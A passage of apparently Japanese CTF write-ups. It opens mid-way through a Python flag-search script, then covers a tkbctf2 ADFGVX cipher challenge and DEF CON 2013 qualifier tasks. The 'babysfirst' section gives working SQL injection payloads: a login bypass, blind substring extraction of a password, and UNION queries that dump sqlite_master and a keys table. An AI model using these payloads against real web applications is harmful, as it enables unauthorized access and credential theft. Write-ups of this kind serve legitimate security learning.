0x28, 0xdca083ff ), ( 0x59, 0x6fcdb657 ), ( 0x0d, 0x577e7368 ), ), 0x40164a: ( ( 0x34, 0x5b3ef3ef ), ( 0x55, 0x318a4f34 ), ( 0x68, 0x15b1a37d ), ), 0x4016b1: ( ( 0x24, 0x60ba1784 ), ( 0x52, 0x140fdcb1 ), ( 0x75, 0xcc53e91d ), ( 0x43, 0x99d13020 ), ( 0x78, 0x9aff4df3 ), ( 0x2f, 0x921224e0 ), ( 0x40, 0x607300dc ), ( 0x45, 0xe6dd4db6 ), ( 0x6c, 0x3bc3c630 ), ( 0x62, 0x140fdcb1 ), ( 0x36, 0x6fcdb657 ), ), 0x401810: ( ( 0x47, 0x4e4471d8 ), ( 0x3c, 0x19a2b0ce ), ( 0x30, 0x72904901 ), ( 0x54, 0x42aff063 ), ( 0x79, 0x9bbabbd2 ), ), 0x4018b5: ( ( 0x2e, 0xd83d022f ), ( 0x3a, 0x20cdb51d ), ( 0x0d, 0x8f645151 ), ), 0x40191c: ( ( 0x23, 0x4890b5dc ), ( 0x62, 0x0b86c8e7 ), ( 0x71, 0x4918d4ce ), ( 0x6f, 0x756761ce ), ( 0x40, 0x318a4f34 ), ), 0x4019c1: ( ( 0x35, 0x4e4471d8 ), ( 0x6a, 0x193c43d3 ), ( 0x5b, 0x7abba976 ), ), 0x401a28: ( ( 0x32, 0x664030e5 ), ( 0x4b, 0x182d7714 ), ( 0x63, 0x81f92b5f ), ( 0x28, 0x3c8a90ff ), ), 0x401aae: ( ( 0x42, 0x4cae036c ), ( 0x67, 0x664030e5 ), ( 0x46, 0xb897279f ), ( 0x5d, 0xe5075672 ), ( 0x69, 0x48fec350 ), ( 0x74, 0x15b1a37d ), ( 0x56, 0xf6fbb4e5 ), ( 0x50, 0x71b7106a ), ), 0x401bb0: ( ( 0x5a, 0xe6dd4db6 ), ( 0x60, 0x2ea896ff ), ( 0x5c, 0xcc194cc7 ), ( 0x3c, 0xc42b2458 ), ( 0x2e, 0xe587b32f ), ), 0x401c55: ( ( 0x33, 0x921224e0 ), ( 0x23, 0xcc194cc7 ), ( 0x36, 0x756761ce ), ), 0x401cbc: ( ( 0x64, 0x5fbc197d ), ( 0x68, 0x48fec350 ), ( 0x2d, 0xad72e300 ), ( 0x6a, 0x3c8a90ff ), ( 0x53, 0x9c19ee76 ), ), 0x401d61: ( ( 0x72, 0xd4f27687 ), ( 0x72, 0x9070b209 ), ( 0x20, 0x5d65105e ), ( 0x68, 0x81f92b5f ), ( 0x70, 0x89bf42a5 ), ), 0x401e06: ( ( 0x71, 0x0557744d ), ( 0x63, 0xe587b32f ), ( 0x35, 0xe2d2e2a7 ), ( 0x7a, 0x4fdc74fe ), ( 0x2a, 0x2fbb4492 ), ( 0x79, 0xdca083ff ), ( 0x0c, 0x1397eeae ), ( 0x38, 0x32894ca2 ), ( 0x74, 0xe8311900 ), ), 0x401f27: ( ( 0x0b, 0x756761ce ), ( 0x74, 0x9aff4df3 ), ( 0x2c, 0x607300dc ), ( 0x72, 0xa117982f ), ( 0x24, 0x23f1bbb8 ), ( 0x29, 0x3bc3c630 ), ), 0x401feb: ( ( 0x0a, 0x15142793 ), ( 0x3c, 0x921224e0 ), ( 0x3d, 0x48fec350 ), ( 0x6c, 0xcc194cc7 ), ( 0x20, 0x824884f7 ), ), 0x402090: ( ( 0x64, 0x774f07a0 ), ( 0x5d, 0xad72e300 ), ( 0x40, 0x4e4471d8 ), ( 0x29, 0xe2d2e2a7 ), ), 0x402116: ( ( 0x3b, 0x81f92b5f ), ( 0x5e, 0x9c19ee76 ), ( 0x34, 0xf6fbb4e5 ), ( 0x33, 0x193c43d3 ), ( 0x40, 0x4a282adb ), ( 0x52, 0x182d7714 ), ), 0x4021da: ( ( 0x73, 0x4918d4ce ), ( 0x61, 0xcac5161a ), ( 0x3d, 0x712a6ee0 ), ( 0x72, 0xa025ed69 ), ( 0x71, 0x4a282adb ), ( 0x33, 0x772268d7 ), ( 0x55, 0xe49e1d4c ), ( 0x31, 0x3bc3c630 ), ), 0x4022dc: ( ( 0x68, 0x71b7106a ), ), 0x402305: ( ( 0x2e, 0x318a4f34 ), ( 0x26, 0x6e243512 ), ( 0x79, 0x2ad398b4 ), ( 0x6e, 0x32894ca2 ), ( 0x28, 0xd81f6c49 ), ), 0x4023aa: ( ( 0x33, 0x15142793 ), ( 0x23, 0xe1118a27 ), ( 0x2b, 0x182d7714 ), ( 0x26, 0x827a53b1 ), ( 0x37, 0x4540edb9 ), ( 0x09, 0x140fdcb1 ), ), 0x40246e: ( ( 0x53, 0xef1580b9 ), ), 0x402497: ( ( 0x33, 0xad72e300 ), ( 0x66, 0xef1580b9 ), ( 0x35, 0x824884f7 ), ( 0x66, 0x774f07a0 ), ( 0x6d, 0x7fcbe8e1 ), ( 0x48, 0x102f6b77 ), ( 0x49, 0x7151ac2d ), ( 0x6c, 0x50112116 ), ( 0x31, 0x6e243512 ), ( 0x42, 0xcc53e91d ), ), 0x4025d7: ( ( 0x68, 0xdca083ff ), ( 0x32, 0x60ba1784 ), ( 0x36, 0x824884f7 ), ( 0x49, 0x5b3ef3ef ), ( 0x69, 0xe587b32f ), ( 0x76, 0x756761ce ), ( 0x54, 0x3c8a90ff ), ), 0x4026ba: ( ( 0x36, 0xe7ec77db ), ), 0x4026e3: ( ( 0x54, 0xa72d6c18 ), ( 0x23, 0x80fd06bc ), ( 0x23, 0x23f1bbb8 ), ( 0x2b, 0x3585f316 ), ( 0x7b, 0xf487628c ), ), 0x402788: ( ( 0x30, 0x81f92b5f ), ( 0x2e, 0x4918d4ce ), ), 0x4027d0: ( ( 0x2f, 0x9aff4df3 ), ( 0x33, 0x1d237c44 ), ( 0x52, 0xecc6379f ), ( 0x2d, 0x6fcdb657 ), ), 0x402856: ( ( 0x75, 0x4cae036c ), ( 0x0d, 0x0fa512b4 ), ( 0x20, 0xf03ad87a ), ( 0x3c, 0x4b5a7528 ), ( 0x4d, 0x102f6b77 ), ), 0x4028fb: ( ( 0x2d, 0xd81f6c49 ), ( 0x5b, 0x4a282adb ), ( 0x29, 0x9ef45553 ), ), 0x402962: ( ( 0x64, 0xdd01eab3 ), ( 0x09, 0x2ad398b4 ), ( 0x54, 0x182d7714 ), ( 0x31, 0x68679285 ), ( 0x6e, 0xe7ec77db ), ), 0x402a07: ( ( 0x5b, 0x772268d7 ), ( 0x52, 0x577e7368 ), ( 0x29, 0x44bc3cc5 ), ), 0x402a6e: ( ( 0x64, 0x7fcbe8e1 ), ( 0x39, 0x67c528e7 ), ( 0x43, 0xd9a7c21c ), ( 0x32, 0x64db7575 ), ( 0x32, 0x4fdc74fe ), ( 0x36, 0x827a53b1 ), ( 0x37, 0x140fdcb1 ), ( 0x28, 0x67c528e7 ), ( 0x2c, 0x2ad398b4 ), ( 0x31, 0xf487628c ), ( 0x60, 0x772268d7 ), ( 0x56, 0x3c8a90ff ), ), 0x402bec: ( ( 0x35, 0xdecf8a6c ), ( 0x0b, 0x6e243512 ), ( 0x62, 0x5fbc197d ), ( 0x47, 0x62a0c8ca ), ( 0x20, 0x10b029f2 ), ( 0x45, 0xc0df40a6 ), ( 0x51, 0x921224e0 ), ( 0x0a, 0x8549c2b8 ), ), 0x402cee: ( ( 0x54, 0xdca083ff ), ( 0x4d, 0 ), ), 0x402d22: ( ( 0x70, 0xa72d6c18 ), ( 0x44, 0x558185fe ), ), 0x402d6a: ( ( 0x5f, 0x4fdc74fe ), ), 0x402d93: ( ( 0x4f, 0x4fdc74fe ), ( 0x2a, 0x3172b544 ), ( 0x4e, 0x62a0c8ca ), ( 0x22, 0x2ad398b4 ), ( 0x4f, 0x0b63017e ), ( 0x45, 0x0a669ef2 ), ( 0x72, 0x4fdc74fe ), ), 0x402e76: ( ( 0x5f, 0xa025ed69 ), ( 0x3d, 0x8fe85bff ), ( 0x75, 0xd83d022f ), ( 0x5a, 0x1d237c44 ), ( 0x46, 0x60ba1784 ), ), 0x402f1b: ( ( 0x64, 0xcfcddef9 ), ( 0x32, 0x2fbb4492 ), ( 0x22, 0x5497bada ), ( 0x6a, 0x318a4f34 ), ), 0x402fa1: ( ( 0x5f, 0x008edf89 ), ( 0x48, 0x1397eeae ), ( 0x70, 0xe2d2e2a7 ), ( 0x4a, 0x0b86c8e7 ), ), 0x403027: ( ( 0x31, 0x1d237c44 ), ( 0x66, 0xef1580b9 ), ), 0x40306f: ( ( 0x38, 0x0b86c8e7 ), ( 0x2c, 0x62a0c8ca ), ( 0x5a, 0x0a669ef2 ), ( 0x2e, 0 ), ), 0x4030e1: ( ( 0x53, 0x193c43d3 ), ( 0x4f, 0x47279fae ), ), 0x403129: ( ( 0x74, 0x774f07a0 ), ( 0x23, 0x894cff3f ), ( 0x55, 0xd28dcea2 ), ), 0x403190: ( ( 0x73, 0x2fbb4492 ), ( 0x57, 0xe587b32f ), ( 0x72, 0x921224e0 ), ( 0x72, 0xfe129837 ), ), 0x403216: ( ( 0x5b, 0xb897279f ), ( 0x71, 0xf0bbbe85 ), ( 0x37, 0xc78964f3 ), ( 0x67, 0xa117982f ), ( 0x62, 0x102f6b77 ), ( 0x21, 0xb2fc91ab ), ( 0x36, 0x1dc4cee7 ), ( 0x5d, 0x557744d) , ), 0x403318: ( ( 0x48, 0x62a0c8ca ), ( 0x7d, 0xd9a7c21c ), ( 0x4f, 0x008edf89 ), ( 0x4d, 0x607300dc ), ( 0x2f, 0x5497bada ), ( 0x23, 0x58b714af ), ( 0x62, 0x58b714af ), ( 0x70, 0xdecf8a6c ), ( 0x4b, 0x42aff063 ), ), 0x403439: ( ( 0x4d, 0x182d7714 ), ( 0x68, 0xe7ec77db ), ( 0x39, 0xa7087ae0 ), ( 0x6b, 0xa7087ae0 ), ( 0x4e, 0x6fcdb657 ), ( 0x51, 0x008edf89 ), ), 0x4034fd: ( ( 0x72, 0xe81c0d24 ), ( 0x0c, 0x4a282adb ), ( 0x0b, 0x4fdc74fe ), ( 0x4f, 0 ) , ), 0x403579: ( ( 0x6f, 0 ), ), 0x40358e: ( ( 0x4d, 0x48fec350 ), ( 0x66, 0x8f645151 ), ( 0x49, 0x9ef45553 ), ), 0x4035f5: ( ( 0x5f, 0x47279fae ), ( 0x49, 0x8f645151 ), ( 0x37, 0x9ef45553 ), ( 0x5b, 0x9aff4df3 ), ( 0x71, 0xa72d6c18 ), ), 0x40369a: ( ( 0x0b, 0x0b86c8e7 ), ( 0x38, 0x008edf89 ), ( 0x57, 0xf487628c ), ), 0x403701: ( ( 0x7d, 0xcc194cc7 ), ( 0x62, 0x99d13020 ), ), 0x403749: ( ( 0x6c, 0x827a53b1 ), ( 0x64, 0x67c528e7 ), ( 0x0a, 0x80fd06bc ), ( 0x28, 0x2c8ab6bc ), ( 0x40, 0xdecf8a6c ), ( 0x35, 0x59c9f953 ), ( 0x76, 0xd2283d5c ), ( 0x0b, 0xe5075672 ), ( 0x0a, 0xe81c0d24 ), ), 0x40386a: ( ( 0x42, 0xcc194cc7 ), ( 0x2f, 0x32894ca2 ), ( 0x2b, 0x5d65105e ), ( 0x3f, 0x15b1a37d ), ( 0x50, 0x4918d4ce ), ( 0x26, 0x2ea896ff ), ( 0x0c, 0xe81c0d24 ), ( 0x0c, 0xb2fc91ab ), ), 0x40396c: ( ( 0x34, 0x2fbb4492 ), ( 0x74, 0x5d65105e ), ( 0x30, 0x9bbabbd2 ), ), 0x4039d3: ( ( 0x48, 0x1397eeae ), ( 0x7d, 0xc42b2458 ), ( 0x0b, 0xd9a7c21c ), ( 0x29, 0x607300dc ), ( 0x4d, 0x67c528e7 ), ), 0x403a78: ( ( 0x38, 0x50112116 ), ( 0x23, 0x6fc7f3ff ), ( 0x21, 0xecc6379f ), ( 0x59, 0x007e20d9 ), ), 0x403afe: ( ( 0x5d, 0x193c43d3 ), ( 0x0d, 0x64db7575 ), ), 0x403b46: ( ( 0x30, 0x664030e5 ), ( 0x5c, 0xd81f6c49 ), ( 0x71, 0x007e20d9 ), ( 0x4b, 0x712a6ee0 ), ), 0x403bcc: ( ( 0x5b, 0x50112116 ), ( 0x47, 0xecc6379f ), ( 0x70, 0x712a6ee0 ), ( 0x76, 0x4540edb9 ), ( 0x33, 0x44bc3cc5 ), ( 0x77, 0xcfcddef9 ), ( 0x53, 0xc0df40a6 ), ( 0x59, 0x47279fae ), ), 0x403cce: ( ( 0x5f, 0x827a53b1 ), ), 0x403cf7: ( ( 0x6c, 0x557744d) , ( 0x79, 0x577e7368 ), ( 0x40, 0xb6fa5a33 ), ( 0x3d, 0xd28dcea2 ), ), 0x403d7d: ( ( 0x5f, 0x792f371f ), ( 0x50, 0x4a282adb ), ( 0x78, 0x1397eeae ), ), 0x403de4: ( ( 0x73, 0x3c8a90ff ), ( 0x49, 0x5497bada ), ( 0x78, 0xf00d2d49 ), ( 0x6f, 0x999d6be3 ), ), 0x403e6a: ( ( 0x38, 0xe8311900 ), ), 0x403e93: ( ( 0x66, 0x2fca1163 ), ( 0x78, 0x4fdc74fe ), ( 0x70, 0xad72e300 ), ( 0x5f, 0xb6fa5a33 ), ( 0x7e, 0xf487628c ), ), 0x403f38: ( ( 0x24, 0xd2283d5c ), ( 0x54, 0x3172b544 ), 0x69, 0xb63017e, ( 0x68, 0xa72d6c18 ), ( 0x3d, 0x2c8ab6bc ), ( 0x20, 0x007e20d9 ), ( 0x3a, 0x9bbabbd2 ), ( 0x61, 0x5b3ef3ef ), ( 0x4e, 0x2c8ab6bc ), ), 0x404059: ( ( 0x0d, 0x0b63017e ), ( 0x57, 0x577e7368 ), ( 0x2b, 0x1397eeae ), ), 0x4040c0: ( ( 0x37, 0x558185fe ), ( 0x34, 0xe49e1d4c ), ( 0x66, 0x2fca1163 ), ( 0x7d, 0x71b7106a ), ), 0x404146: ( ( 0x62, 0x99d13020 ), ( 0x3c, 0x020f2291 ), ), 0x40418e: ( ( 0x34, 0x607300dc ), ( 0x4f, 0x3172b544 ), ( 0x0d, 0x23f1bbb8 ), ( 0x67, 0x8fe85bff ), ( 0x41, 0x6e243512 ), ), 0x404233: ( ( 0x5c, 0x772268d7 ), ( 0x0d, 0x4918d4ce ), ( 0x64, 0x23f1bbb8 ), ( 0x62, 0x80fd06bc ), ( 0x43, 0x4e4471d8 ), ), 0x4042d8: ( ( 0x6c, 0x008edf89 ), ( 0x24, 0x6e243512 ), ( 0x2d, 0x3172b544 ), ( 0x77, 0xe5075672 ), ( 0x66, 0xe1118a27 ), ), 0x40437d: ( ( 0x74, 0x8190d2e1 ), ( 0x75, 0x99d13020 ), ( 0x45, 0x2fbb4492 ), ( 0x29, 0x3c8a90ff ), ( 0x5f, 0xa72d6c18 ), ), 0x404422: ( ( 0x75, 0x4b5a7528 ), ( 0x41, 0x64db7575 ), ( 0x55, 0x80fd06bc ), ( 0x20, 0x792f371f ), ), 0x4044a8: ( ( 0x33, 0x8190d2e1 ), ( 0x7e, 0xe8311900 ), ), 0x4044f0: ( ( 0x43, 0xc0df40a6 ), ( 0x52, 0x3585f316 ), ( 0x64, 0x9070b209 ), ( 0x4d, 0x4b5a7528 ), ( 0x51, 0x89bf42a5 ), ), 0x404595: ( ( 0x7b, 0x44bc3cc5 ), ( 0x5b, 0xd81f6c49 ), ), 0x4045dd: ( ( 0x79, 0x894cff3f ), ( 0x20, 0x4b5a7528 ), ( 0x71, 0x0a669ef2 ), ( 0x5d, 0xa72d6c18 ), ), 0x404663: ( ( 0x31, 0x827a53b1 ), ( 0x42, 0xd9a7c21c ), ), 0x4046ab: ( ( 0x25, 0xd4f27687 ), ( 0x24, 0x7abba976 ), ( 0x42, 0xe587b32f ), ( 0x2d, 0xdecf8a6c ), ), 0x404731: ( ( 0x78, 0x4e4471d8 ), ( 0x77, 0x8190d2e1 ), ( 0x3a, 0x9c19ee76 ), ), 0x404798: ( ( 0x26, 0xf487628c ), ( 0x7c, 0xf00d2d49 ), ( 0x5e, 0x2fca1163 ), ), 0x4047ff: ( ( 0x5b, 0x8fe85bff ), ( 0x37, 0x664030e5 ), ( 0x68, 0x9c19ee76 ), ( 0x4a, 0x772268d7 ), ( 0x66, 0xd2283d5c ), ), 0x4048a4: ( ( 0x4f, 0x32894ca2 ), ( 0x72, 0x2fca1163 ), ( 0x6c, 0x824884f7 ), ( 0x35, 0x9aff4df3 ), ( 0x5d, 0x3585f316 ), ( 0x77, 0x0a669ef2 ), ), 0x404968: ( ( 0x52, 0x3b1232b4 ), ( 0x51, 0xf487628c ), ( 0x6f, 0xd28dcea2 ), ( 0x0a, 0x7abba976 ), ), 0x4049ee: ( ( 0x78, 0x23f1bbb8 ), ( 0x66, 0x921224e0 ), ( 0x49, 0x5b3ef3ef ), ), 0x404a55: ( ( 0x6c, 0x58b714af ), ( 0x26, 0x1397eeae ), ( 0x60, 0xdca083ff ), ( 0x43, 0x71b7106a ), ), 0x404adb: ( ( 0x7a, 0x0a669ef2 ), ), 0x404b04: ( ( 0x62, 0x59c9f953 ), ( 0x0d, 0x417ab283 ), ( 0x52, 0xcfcddef9 ), ( 0x47, 0x417ab283 ), ( 0x4e, 0x47279fae ), ( 0x54, 0x4bef9c8c ), ( 0x40, 0x2c8ab6bc ), ( 0x66, 0xd4f27687 ), ( 0x2f, 0xd4f27687 ), ), 0x404c25: ( ( 0x38, 0x0fa512b4 ), ( 0x68, 0x60ba1784 ), ( 0x78, 0x44bc3cc5 ), ( 0x31, 0xd83d022f ), ), 0x404cab: ( ( 0x5f, 0x3b1232b4 ), ( 0x09, 0x020f2291 ), ( 0x60, 0xcc194cc7 ), ( 0x29, 0x19a2b0ce ), ( 0x39, 0xa117982f ), ( 0x6d, 0x0fa512b4 ), ( 0x56, 0x8190d2e1 ), ), 0x404d8e: ( ( 0x42, 0x48fec350 ), ( 0x62, 0xc78964f3 ), ), 0x404dd6: ( ( 0x68, 0x71b7106a ), ( 0x7c, 0xc0df40a6 ), ( 0x36, 0x32894ca2 ), ( 0x6e, 0 ), ), 0x404e52: ( ( 0x4c, 0x2c8ab6bc ), ( 0x72, 0x20cdb51d ), ( 0x2d, 0x1156dc16 ), ), 0x404eb9: ( ( 0x62, 0x9c19ee76 ), ( 0x29, 0x140fdcb1 ), ( 0x48, 0x9af7186c ), ( 0x0a, 0x007e20d9 ), ( 0x3f, 0xdd01eab3 ), ), 0x404f5e: ( ( 0x76, 0x007e20d9 ), ( 0x4c, 0x193c43d3 ), ), 0x404fa6: ( ( 0x53, 0x9070b209 ), ( 0x48, 0x15142793 ), ( 0x6d, 0xc78964f3 ), ( 0x5e, 0xd81f6c49 ), ), 0x40502c: ( ( 0x46, 0x3172b544 ), ( 0x29, 0x4540edb9 ), ), 0x405074: ( ( 0x0c, 0x99d13020 ), ( 0x35, 0xe5075672 ), ( 0x5e, 0x8190d2e1 ), ( 0x64, 0xdd01eab3 ), ( 0x7e, 0xd857a69e ), ( 0x74, 0xe49e1d4c ), ( 0x6c, 0x3b1232b4 ), ), 0x405157: ( ( 0x24, 0x558185fe ), ( 0x61, 0x140fdcb1 ), ( 0x65, 0x774f07a0 ), ( 0x70, 0x4890b5dc ), ( 0x25, 0x9070b209 ), ( 0x67, 0xd857a69e ), ), 0x40521b: ( ( 0x45, 0x233e843d ), ( 0x38, 0xd4f27687 ), ( 0x3d, 0x58b714af ), ( 0x29, 0x558185fe ), ), 0x4052a1: ( ( 0x2b, 0x2fbb4492 ), ( 0x32, 0xd28dcea2 ), ( 0x4d, 0x193c43d3 ), ( 0x61, 0x318a4f34 ), ( 0x69, 0x8549c2b8 ), ( 0x37, 0x824884f7 ), ), 0x405365: ( ( 0x31, 0x7abba976 ), ( 0x72, 0xb2fc91ab ), ( 0x22, 0x8fe85bff ), ( 0x6b, 0xe587b32f ), ( 0x55, 0x68679285 ), ), 0x40540a: ( ( 0x46, 0x8190d2e1 ), ( 0x74, 0x193c43d3 ), ), 0x405452: ( ( 0x67, 0x7151ac2d ), ( 0x2d, 0x5497bada ), ( 0x48, 0x577e7368 ), ), 0x4054b9: ( ( 0x44, 0 ), ( 0x7e, 0xad72e300 ), ( 0x3a, 0xe8311900 ), ( 0x66, 0xfe129837 ), ( 0x61, 0x62a0c8ca ), ), 0x405554: ( ( 0x6e, 0xcc194cc7 ), ( 0x54, 0x4a282adb ), ( 0x70, 0x60ba1784 ), ( 0x72, 0xd857a69e ), ( 0x32, 0xf00d2d49 ), ( 0x6d, 0x3c8a90ff ), ), 0x405618: ( ( 0x52, 0x008edf89 ), ), 0x405641: ( ( 0x6d, 0xd857a69e ), ( 0x43, 0x4918d4ce ), ( 0x49, 0x4bef9c8c ), ( 0x4b, 0x60ba1784 ), ( 0x47, 0xf0bbbe85 ), ( 0x77, 0xdd01eab3 ), ( 0x24, 0x8fe85bff ), ( 0x64, 0x4bef9c8c ), ( 0x3f, 0xad72e300 ), ), 0x405762: ( ( 0x46, 0x5b3ef3ef ), ( 0x78, 0x1397eeae ), ( 0x4e, 0x0557744d ), ( 0x5a, 0x5497bada ), ( 0x4e, 0x90305228 ), ), 0x405807: ( ( 0x44, 0xd2283d5c ), ( 0x64, 0xe81c0d24 ), ( 0x31, 0x607300dc ), ( 0x34, 0x4fdc74fe ), ( 0x2a, 0x64db7575 ), ( 0x0b, 0x15b1a37d ), ( 0x3d, 0x921224e0 ), ( 0x66, 0xa72d6c18 ), ( 0x63, 0x10b029f2 ), ( 0x46, 0x4cae036c ), ( 0x36, 0x193c43d3 ), ( 0x69, 0xb6fa5a33 ), ( 0x6d, 0x67c528e7 ), ), 0x4059a4: ( ( 0x3e, 0x2fbb4492 ), ( 0x3b, 0x4fdc74fe ), ( 0x47, 0x1dc4cee7 ), ( 0x56, 0xe7ec77db ), ( 0x0b, 0x999d6be3 ), ), 0x405a49: ( ( 0x46, 0x72904901 ), ( 0x71, 0x72904901 ), ( 0x3a, 0xe7ec77db ), ( 0x6f, 0x1dc4cee7 ), ( 0x51, 0x81f92b5f ), ( 0x35, 0x3585f316 ), ), 0x405b0d: ( ( 0x2c, 0x2ad398b4 ), ( 0x78, 0xc78964f3 ), ( 0x40, 0xcc194cc7 ), ), 0x405b74: ( ( 0x6a, 0x140fdcb1 ), ( 0x44, 0xd4f27687 ), ), 0x405bbc: ( ( 0x63, 0x557744d ), ( 0x46, 0x4540edb9 ), ( 0x5c, 0x182d7714 ), ( 0x6c, 0xef1580b9 ), ( 0x36, 0x1d237c44 ), ), 0x405c61: ( ( 0x3f, 0x921224e0 ), ( 0x2b, 0x6fc7f3ff ), ( 0x40, 0x712a6ee0 ), ( 0x2e, 0x417ab283 ), ), 0x405ce7: ( ( 0x0a, 0xa117982f ), ( 0x72, 0x80fd06bc ), ( 0x2a, 0xecc6379f ), ), 0x405d4e: ( ( 0x0c, 0x007e20d9 ), ( 0x47, 0x6fcdb657 ), ( 0x61, 0x4890b5dc ), ( 0x2c, 0x9af7186c ), ( 0x55, 0x71b7106a ), ( 0x26, 0x50112116 ), ( 0x5c, 0x0fa512b4 ), ), 0x405e31: ( ( 0x23, 0x9aff4df3 ), ( 0x30, 0xd83d022f ), ( 0x5e, 0x0b63017e ), ( 0x2e, 0xa025ed69 ), ( 0x54, 0x60ba1784 ), ), 0x405ed6: ( ( 0x2c, 0x756761ce ), ( 0x77, 0x4890b5dc ), ( 0x43, 0x2c8ab6bc ), ), 0x405f3d: ( ( 0x76, 0xae907d25 ), ( 0x67, 0x233e843d ), ( 0x5d, 0x9c19ee76 ), ), 0x405fa4: ( ( 0x31, 0x81f92b5f ), ), 0x405fcd: ( ( 0x72, 0x10b029f2 ), ), 0x405ff6: ( ( 0x6c, 0x417ab283 ), ( 0x58, 0xd857a69e ), ( 0x6c, 0x81f92b5f ), ( 0x31, 0x2c8ab6bc ), ( 0x77, 0x4cae036c ), ( 0x09, 0x0a669ef2 ), ), 0x4060ba: ( ( 0x31, 0x5d65105e ), ( 0x32, 0xc78964f3 ), ( 0x56, 0xecc6379f ), ( 0x30, 0x0ecab259 ), ( 0x2b, 0x5497bada ), ), 0x40615f: ( ( 0x52, 0xe49e1d4c ), ( 0x41, 0x664030e5 ), ( 0x29, 0x827a53b1 ), ), 0x4061c6: ( ( 0x4d, 0xcac5161a ), ( 0x70, 0x6fc7f3ff ), ( 0x25, 0x4a282adb ), ( 0x4d, 0x774f07a0 ), ( 0x2f, 0x15b1a37d ), ), 0x40626b: ( ( 0x5e, 0x894cff3f ), ( 0x4b, 0x99d13020 ), ( 0x0c, 0x5b3ef3ef ), ( 0x66, 0x3172b544 ), ( 0x39, 0x772268d7 ), ( 0x51, 0x417ab283 ), ), 0x40632f: ( ( 0x25, 0x5d65105e ), ( 0x51, 0xf00d2d49 ), ( 0x26, 0x44bc3cc5 ), ( 0x67, 0x558185fe ), ( 0x67, 0x62a0c8ca ), ( 0x75, 0x7151ac2d ), ( 0x0a, 0x0b86c8e7 ), ), 0x406412: ( ( 0x33, 0x7151ac2d ), ( 0x2a, 0x2ea896ff ), ( 0x5e, 0xcc194cc7 ), ( 0x0c, 0x7fcbe8e1 ), ( 0x78, 0xef1580b9 ), ( 0x28, 0xf03ad87a ), ( 0x5e, 0x64db7575 ), ), 0x4064f5: ( ( 0x40, 0x1e813336 ), ( 0x24, 0x50112116 ), ( 0x2c, 0xe1118a27 ), ( 0x72, 0xd28dcea2 ), ( 0x33, 0x0fa512b4 ), ( 0x76, 0x9ef45553 ), ), 0x4065ad: ( ( 0x66, 0x5497bada ), ( 0x75, 0x827a53b1 ), ), } def lookup(state, exists):
    if state not in exists:
        exists = exists + [ state ]
        label = state2label[state]
        for key, state in label2states[label]:
            if state == 0:
                yield chr(key)
            else:
                for following in lookup(state, exists):
                    yield chr(key) + following
for flag in lookup(0xfe129837, []): print flag break

Writeup: tkbctf2 / weasel (Challenge 1) Crypt 150

2013年9月29日(日) 9:00 から 21:00 まで12時間行われた tkbctf2 に参戦しました。1問しか解けませんでしたが、それのwriteupです。

問題:

0 x r 8 d q
j 7 6 z m c
p f h b a 5
1 t w l 3 k
v u e y 2 n
s 9 4 o i g
-・・- ・・-・ -・・ -・・ ・・-・ -・・- ・・・- --・ ・・-・ --・ ・・・- -・・- -・・- ・・・- --・ -・・ ・・・- -・・ -・・ --・ -・・- -・・- --・ -・・-

後半部分は明らかにモールス符号なので、文字に復号しました。

XFDDFXVGFGVXXVGDVDDGXXGX

なんだか数種類の文字しか使われてないなぁと考えていたら、チームメイトからADFGVX暗号じゃないかと教えてもらいました。

説明を読むと、問題文の前半部分が換字表、モールス符号部分が暗号文、問題タイトルの weasel がまさに鍵生成例に書かれている転換鍵のようです。

転換鍵の weasel は、文字列中にeが2回登場してるので後ろ側の e を削除し、weasl の5文字を転置鍵にします。

ググって復号サイトを探して、下記の数字順に入力したら暗号解読できました。

image

フラグ:

konecomofmof

Writeups: DEF CON CTF 2013

日本語 (in Japanese):

世界最高峰のCTF、DEF CON CTF 2013 Quals(予選) に参戦しました。

チームメンバが書いた writeup を以下にまとめました。


バイナリ系問題は一問も解けませんでした。とほほ。

Writeup: DEF CON CTF 2013 / 3dub-2 babysfirst

日本語 (in Japanese):

http://babysfirst.shallweplayaga.me:8041

上記URLにアクセスすると、ユーザ名とパスワードを入力してログインするための画面が表示された。

SQLインジェクションをしてみる

admin' or 1=1--

success!

logged in as root

レスポンスヘッダーを見ると

X-Sql: select name from users where name = ‘admin’ or 1=1–’ and password = “ limit 1;

というものがあった

テーブル名が書いてあったのでブラインドSQLインジェクションをしてみる

root'and substr((SELECT password FROM users WHERE name='root'),1,1)<='o'--

とやるとログイン成功

不等号を逆にするとログイン失敗した

rootのパスワードは「barking up the wrong tree」でした。

root/barking up the wrong treeでログイン

success!

logged in as root

ほかに何かテーブルがあるか調べる

' UNION SELECT name FROM sqlite_master WHERE type = 'table';--

success!

logged in as keys

keysに何が入っているか出力する

' UNION SELECT * FROM keys;--

success!

logged in as The key is: literally online lolling on line WucGesJi

keyが表示されました

ちなみにブラインドSQLインジェクションでなく

unionでもrootのパスワードは出ました

root' UNION SELECT password FROM users WHERE name='root';--

success!

logged in as barking up the wrong tree

Writeup: DEF CON CTF 2013 / OMGACM-5 passweird

日本語 (in Japanese):

問題文:

bank error in your favor, the key is: hack the planet

え? ルールに「フラグは the key is: から後ろの部分を入力してね」と書いてあったけど、え?え? まさかね、、、と思って 「hack the planet」を入力したら正解でした。

最高レベル問題がサービス問題とは驚きました。

ちなみに、過去のtriviaジャンル問題で “____ the planet!” とか “hack the _____!”  とかの下線部分を回答する問題が出て、究極は “____ ___ _____!” という問題が登場したなんてことを聞いたことがあって、今年は https://legitbs.net/ に、

trivia is gone, and we promise to not make you answer “____ ___ ______!”

なんて書いてあったけど、こんな形でお目にかかれるとは、笑わせてもらいました。

Writeup: DEF CON CTF 2013 / OMGACM-3 grandprix

日本語 (in Japanese):

問題文:

stay away from the zebras.

grandprix.shallweplayaga.me:2038

ncコマンドで接続すると、

$ nc grandprix.shallweplayaga.me 2038
Use 'l' and 'r' to move. Don't crash.
Press return to start

と表示され、改行を入力したら、

|-----|
|     |
|     |
|     |
|     |
|     |
|     |
|     |
|     |
|  u  |
|-----|

と表示された。

l や r を入力すると、uの文字が左右に動き、上から文字が現れてきた。

どうやらカーレースゲームのようだ。

上から現れた文字にぶつかってみたところ、以下のような障害物であることがわかった。

|: wall 壁
c: car 車
~: snake 蛇
r: rock 岩
P: person 人
z: zebra シマウマ
T: tree 木
X: road block ブロック

自動的に左右によけるスクリプトを書いて実行してみたところ、2分経過したところで Too slow! と表示されてしまった。

時間延長するようなアイテムが現れるわけでもないので、1操作ずつ入力するのを4操作まとめて行うようにして実行してみたところ、新たに = が横一列に並んだのが出現したところで Too slow! となってしまった。どうやらゴールのように思えるので、= の処理を追加し、再度実行してみたところゴールインできた。

